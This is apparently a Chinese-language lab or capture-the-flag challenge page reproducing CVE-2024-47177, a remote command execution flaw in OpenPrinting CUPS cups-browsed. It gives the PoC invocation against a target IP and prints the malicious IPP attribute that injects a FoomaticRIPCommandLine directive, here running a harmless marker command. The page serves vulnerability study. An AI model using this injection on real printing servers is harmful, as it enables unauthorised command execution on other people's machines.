CVE-2024-47177
题目描述:

OpenPrinting CUPS(通用Unix打印系统)是为类Unix操作系统开发的开源打印系统。它允许计算机充当打印服务器,高效管理本地和网络打印机。Cups-Browsed是CUPS系统的一部分,是一个专门用于浏览网络上其他CUPS服务器共享的远程打印机的守护进程。它可以自动发现和配置网络打印机,让用户更容易访问和使用网络上共享的打印资源,无需手动设置。

题目提示:

OpenPrinting Cups-Browsed PDD FoomaticRIPCommandLine 参数导致远程命令执行漏洞(CVE-2024-47177)

参考链接:

漏洞复现

首先,下载evil-ipp-server项目并运行poc.py:

python poc.py [evil-ipp-server-ip] [target-ip]

这个脚本会在[evil-ipp-server-ip]上启动一个恶意的IPP服务器,并向目标机器[target-ip]上的Cups-Browsed服务发送一个UDP数据包。

一旦Cups-Browsed接收到请求,它将尝试连接到恶意的IPP服务器并。IPP服务器会返回精心构造的printer-privacy-policy-uri属性,该属性中包含恶意payload,其结构如下:

(
    SectionEnum.printer,
    b'printer-privacy-policy-uri',
    TagEnum.uri
): [b'https://www.google.com/"\n*FoomaticRIPCommandLine: "' +
    b'echo 1 > /tmp/I_AM_VULNERABLE' +
    b'"\n*cupsFilter2 : "application/pdf application/vnd.cups-postscript 0 foomatic-rip'],

然后,Cups-Browsed会在/tmp/目录下创建一个临时PPD文件,我们的payload会被注入到这个文件中。下图是相关的Cups-Browsed日志:

此时,命令还未执行,因为我们需要至少一个打印任务来触发命令的执行。

打印任务可能来自于正常用户,也可以来自攻击者。如果TCP 631端口开放,我们可以使用浏览器访问,并找到刚才增加的恶意IPP打印机,并创建一个“打印测试页面”的打印任务。

任务执行后,进入容器即可发现,echo 1 > /tmp/I_AM_VULNERABLE命令已经成功执行:

作者

snow

解题次数

0

一血

暂无

消耗金币

0

分数

100

最高奖励

0

您尚未登录,请 登录注册 后评论
    0 人参与 | 0 条评论
    暂时没有评论,欢迎来讨论!